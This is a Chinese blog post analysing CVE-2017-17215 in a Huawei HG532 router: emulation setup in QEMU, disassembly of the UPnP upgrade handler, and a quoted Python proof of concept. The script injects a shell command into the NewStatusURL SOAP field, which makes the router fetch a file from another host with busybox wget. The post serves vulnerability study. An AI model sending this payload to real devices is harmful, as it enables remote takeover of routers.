CVE-2017-17215 华为路由器漏洞分析

  • 环境搭建

    固件链接:https://ia601506.us.archive.org/22/items/RouterHG532e/router HG532e.rar

    qemu 配置:

    采用 TAP 模式(linux 内核自带的虚拟化网络设备),简单来说就是在两张网卡(虚拟机网卡 ens33,可以上网)和 qemu 中的网卡之间搭一个网桥(br0),使得 qemu 和 虚拟机共享网络。

    所需软件:
    apt-get install bridge-utils        # 虚拟网桥工具
    apt-get install uml-utilities       # UML(User-mode linux)工具
    
    注意事项:

    之前按照网上其他的配置方法改了 /etc/network/interfaces 但失败,之后采用这种方法也失败,回滚之后成功。

    操作流程:
    sudo ifconfig ens33 down				# 首先关闭宿主机网卡接口
    sudo brctl addbr br0  					# 添加名为 br0 的网桥
    sudo brctl addif br0 ens33				# 在 br0 中添加一个接口
    sudo brctl stp br0 off					# 如果只有一个网桥,则关闭生成树协议
    sudo brctl setfd br0 1					# 设置 br0 的转发延迟
    sudo brctl sethello br0 1				# 设置 br0 的 hello 时间
    sudo ifconfig br0 0.0.0.0 promisc up	# 启用 br0 接口
    sudo ifconfig ens33 0.0.0.0 promisc up	# 启用网卡接口
    sudo dhclient br0                       # 从 dhcp 服务器获得 br0 的 IP 地址
    sudo brctl show br0                     # 查看虚拟网桥列表
    sudo brctl showstp br0                  # 查看 br0 的各接口信息
    

    添加 TAP 设备,连接于 qemu 的网卡

    sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
    sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
    sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
    sudo brctl showstp br0                   # 显示 br0 的各个接口
    
    run:(root/root)
    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no
    

    image-20220302191216761

    把固件解压之后,用 scp 传到 qemu 中

    scp -r ./squashfs-root/ root@192.168.174.132:/root
    

    更换目录到文件系统:

    chroot /root/squashfs-root /bin/sh
    
  • 漏洞分析

    漏洞出现在 Upnp 服务中,从文件系统中找到拖 IDA 中,找一下漏洞触发点 NewStatusURL,x 看一下交叉引用 ,最终确定:

    image-20220302200505399

    在 ATP_XML_GetChildNodeByName 函数中,程序首先进行 SOAP XML 解析,提取出 NewDownloadURL 和 NewStatusURL 的值,然后在 sprintf 中把 a0 拼接到字符串中,最终用 system 执行。

    相当于:

    snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)
    
    system($s0)
    

    image-20220302202932268

    只需要将命令放到 <NewStatusURL> 节点中即可,注意闭合。

    poc.py(复现失败):

    在启动 mic 服务的时候会有一个奇怪的登录,之后懂了再来填吧。

    #Filename: exp.py
    #Data: 2019-04-14:
    #Author: raycp
    #Description: exp for CVE-2017-17125
    
    
    import requests 
    headers = {
        "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
    }
    
    data = '''<?xml version="1.0" ?>
     <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
       <NewStatusURL>;/bin/busybox wget -g 192.168.174.131 -l /tmp/1 -r /1;</NewStatusURL>
       <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
      </u:Upgrade>
     </s:Body>
    </s:Envelope>
    '''
    requests.post('http://192.168.174.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
    
  • 参考文献

posted @ 2022-03-18 18:40  moon_flower  阅读(636)  评论(0编辑  收藏  举报